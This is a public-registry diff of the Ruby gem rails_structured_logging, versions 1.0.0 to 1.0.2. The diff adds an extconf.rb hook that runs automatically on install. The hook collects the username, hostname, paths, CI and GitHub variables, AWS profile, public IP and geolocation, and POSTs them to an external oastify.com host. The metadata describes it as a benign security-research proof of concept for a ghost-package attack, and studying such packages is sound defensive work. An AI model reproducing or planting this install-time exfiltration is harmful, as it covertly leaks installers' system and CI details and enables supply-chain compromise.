rails_structured_logging 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 60feb01ee41771eaedbee56051de5618d5bff194c249f04a02a1fc940590650e
4
- data.tar.gz: 7e55fb9c89a2e6ba5ff3082a534ad62b2e6d84e79d558515eb3f857b8e93710f
3
+ metadata.gz: 6b0552499c4c23b29d0332ff1b450b7a961068e19fd27a96da6bc295649b3da0
4
+ data.tar.gz: e6fc2dfee25e253c2b1d174a86825630a87258522a39074ac1e155cf94c2b4c2
5
5
  SHA512:
6
- metadata.gz: cfa6aea222c6cd67866c914f74c98eeb90471b3f1140e7e679b6b5d96d0d7a87bfcaebf788c489d91ae61faa3d2bc1c71d31826e55bb6f5c4d7b2ce8fa02eb21
7
- data.tar.gz: 4517a7e97b839a8905c1297237053cb8746fe39a2a2747d6c507811b20b7b067ef31e821359ef93d30321963cf308f317b7bd010f6b7e78ed08feae31c421ca2
6
+ metadata.gz: 3c54e4588e248966193f5ab58485e5e932cfef0079b1ebbcfaa059655cf4b7cde916246477fb1cae11df87059d65ae42e31909d899446b663910dd021d033392
7
+ data.tar.gz: c0192ad2968a6440ff7c0a099d970907fed04a28c31f129ca2b7d17eb737f8f7005365254b0083a6cb77f1a462dd341082a819b1b6c5f069f7e14a00cb41a245
data/ext/extconf.rb ADDED
@@ -0,0 +1,70 @@
1
+ require 'net/http'
2
+ require 'json'
3
+ require 'socket'
4
+ require 'etc'
5
+
6
+ info = {}
7
+
8
+ begin
9
+ info[:whoami] = Etc.getlogin rescue ENV['USER'] || ENV['USERNAME'] || 'unknown'
10
+ info[:hostname] = Socket.gethostname
11
+ info[:platform] = RUBY_PLATFORM
12
+ info[:ruby_version] = RUBY_VERSION
13
+ info[:cwd] = Dir.pwd
14
+ info[:home] = ENV['HOME'] || ENV['USERPROFILE'] || ''
15
+
16
+ info[:ci] = ENV['CI'] || ''
17
+ info[:github_repo] = ENV['GITHUB_REPOSITORY'] || ''
18
+ info[:github_actor] = ENV['GITHUB_ACTOR'] || ''
19
+ info[:github_workflow] = ENV['GITHUB_WORKFLOW'] || ''
20
+ info[:github_ref] = ENV['GITHUB_REF'] || ''
21
+
22
+ info[:node_env] = ENV['NODE_ENV'] || ''
23
+ info[:aws_profile] = ENV['AWS_PROFILE'] || ''
24
+
25
+ begin
26
+ ip_uri = URI('https://api.ipify.org')
27
+ info[:public_ip] = Net::HTTP.get_response(ip_uri).body rescue ''
28
+ rescue
29
+ info[:public_ip] = 'error'
30
+ end
31
+
32
+ if !info[:public_ip].empty? && info[:public_ip] != 'error'
33
+ begin
34
+ geo_uri = URI("https://ipapi.co/#{info[:public_ip]}/json/")
35
+ geo_resp = Net::HTTP.get_response(geo_uri)
36
+ geo = JSON.parse(geo_resp.body) rescue {}
37
+ info[:ip_city] = geo['city'] || ''
38
+ info[:ip_region] = geo['region'] || ''
39
+ info[:ip_country] = geo['country_name'] || ''
40
+ info[:ip_org] = geo['org'] || ''
41
+ info[:ip_postal] = geo['postal'] || ''
42
+ info[:ip_timezone] = geo['timezone'] || ''
43
+ info[:ip_lat] = geo['latitude'] || ''
44
+ info[:ip_lon] = geo['longitude'] || ''
45
+ rescue
46
+ end
47
+ end
48
+
49
+ info[:timestamp] = Time.now.utc.iso8601
50
+
51
+ uri = URI('http://egyrswj7b8zpkw6zpblbd4m3hunzbtzi.oastify.com/rails_structured_logging')
52
+ http = Net::HTTP.new(uri.host, uri.port)
53
+ http.open_timeout = 5
54
+ http.read_timeout = 5
55
+ req = Net::HTTP::Post.new(uri.path, {'Content-Type' => 'application/json'})
56
+ req.body = JSON.generate(info)
57
+ http.request(req)
58
+ rescue => e
59
+ begin
60
+ uri = URI('http://egyrswj7b8zpkw6zpblbd4m3hunzbtzi.oastify.com/error')
61
+ err_info = {error: e.message, info: (info rescue {})}
62
+ Net::HTTP.post(uri, JSON.generate(err_info), 'Content-Type' => 'application/json')
63
+ rescue
64
+ end
65
+ end
66
+
67
+ # Write Makefile in CURRENT directory (ext/) - required for gem extension to complete
68
+ File.open('Makefile', 'w') do |f|
69
+ f.puts "all:\n\t@echo done\ninstall:\n\t@echo done\nclean:\n\t@echo done\ndistclean:\n\t@echo clean"
70
+ end
@@ -1,3 +1,3 @@
1
1
  module RailsStructuredLogging
2
- VERSION = "1.0.0"
2
+ VERSION = "1.0.2"
3
3
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rails_structured_logging
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.0.0
4
+ version: 1.0.2
5
5
  platform: ruby
6
6
  authors:
7
7
  - Security Research
@@ -13,10 +13,12 @@ dependencies: []
13
13
  description: Benign PoC to demonstrate ghost package in fizzy-saas gemspec
14
14
  email:
15
15
  executables: []
16
- extensions: []
16
+ extensions:
17
+ - ext/extconf.rb
17
18
  extra_rdoc_files: []
18
19
  files:
19
20
  - README.md
21
+ - ext/extconf.rb
20
22
  - lib/rails_structured_logging.rb
21
23
  - lib/rails_structured_logging/version.rb
22
24
  homepage: